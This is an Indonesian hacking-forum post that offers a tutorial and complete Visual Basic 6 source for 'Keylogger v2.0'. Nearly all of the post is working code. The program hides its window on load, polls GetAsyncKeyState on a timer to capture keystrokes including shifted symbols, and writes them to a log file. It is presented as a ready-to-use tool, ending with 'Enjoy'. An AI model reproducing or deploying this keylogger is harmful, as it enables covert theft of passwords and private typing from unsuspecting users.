Admin
| Subject: Tips & Trick Buat Keylogger v.2.0 Tue Jan 28, 2014 6:47 pm | |
| ===============Product name : Keylogger Versi 2.0Author : don-poThank to jakarta otm cyber team & All hacker indo.Credit by don-po 2010===============- Buat timerName : timer1 / tmr1interval : 100-StartUpPosition : 3 'Windows Default-Link Topic : form1- klik kanan "view code"masukkan :Code: - Code:
-
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Type TList kode As Integer bawah As String atas As String End Type
Private List(1 To 255) As TList Private IndexList As Integer
Private Sub AddToTable(kode As Integer, atas As String, bawah As String) IndexList = IndexList + 1 List(IndexList).kode = kode List(IndexList).atas = atas List(IndexList).bawah = bawah End Sub
Private Sub Build_Table() Dim i As Integer For i = 65 To 90 AddToTable i, Chr(i), Chr(i + 32) Next i AddToTable 48, ")", "0" AddToTable 49, "!", "1" AddToTable 50, "@", "2" AddToTable 51, "#", "3" AddToTable 52, "$", "4" AddToTable 53, "%", "5" AddToTable 54, "^", "6" AddToTable 55, "&", "7" AddToTable 56, "*", "8" AddToTable 57, "(", "9" AddToTable &H60, "", "0" AddToTable &H61, "", "1" AddToTable &H62, "", "2" AddToTable &H63, "", "3" AddToTable &H64, "", "4" AddToTable &H65, "", "5" AddToTable &H66, "", "6" AddToTable &H67, "", "7" AddToTable &H68, "", "8" AddToTable &H69, "", "9" AddToTable Asc(" "), " ", " " End Sub
Private Sub Form_Load() Me.Visible = False Build_Table End Sub
Private Sub AddToFile(Isi As String) Dim Data As String Dim FileHandler As Long If (Dir(App.Path & "\mylog.txt") <> "") Then FileHandler = FreeFile Open App.Path & "\mylog.txt" For Input As #FileHandler Data = Input(LOF(FileHandler) - 2, #FileHandler) Close #FileHandler End If FileHandler = FreeFile Open App.Path & "\mylog.txt" For Output As #FileHandler Print #FileHandler, Data & Isi Close #FileHandler End Sub
Private Sub Timer1_Timer() Dim i As Integer Dim a, b As Integer For i = LBound(List) To UBound(List) a = GetAsyncKeyState(List(i).kode) b = GetAsyncKeyState(16) If (a = -32767) Then If (b = -32768) Then AddToFile List(i).atas Else AddToFile List(i).bawah End If Exit For End If Next End Sub
Enjoy,,,;) and +1 | |
|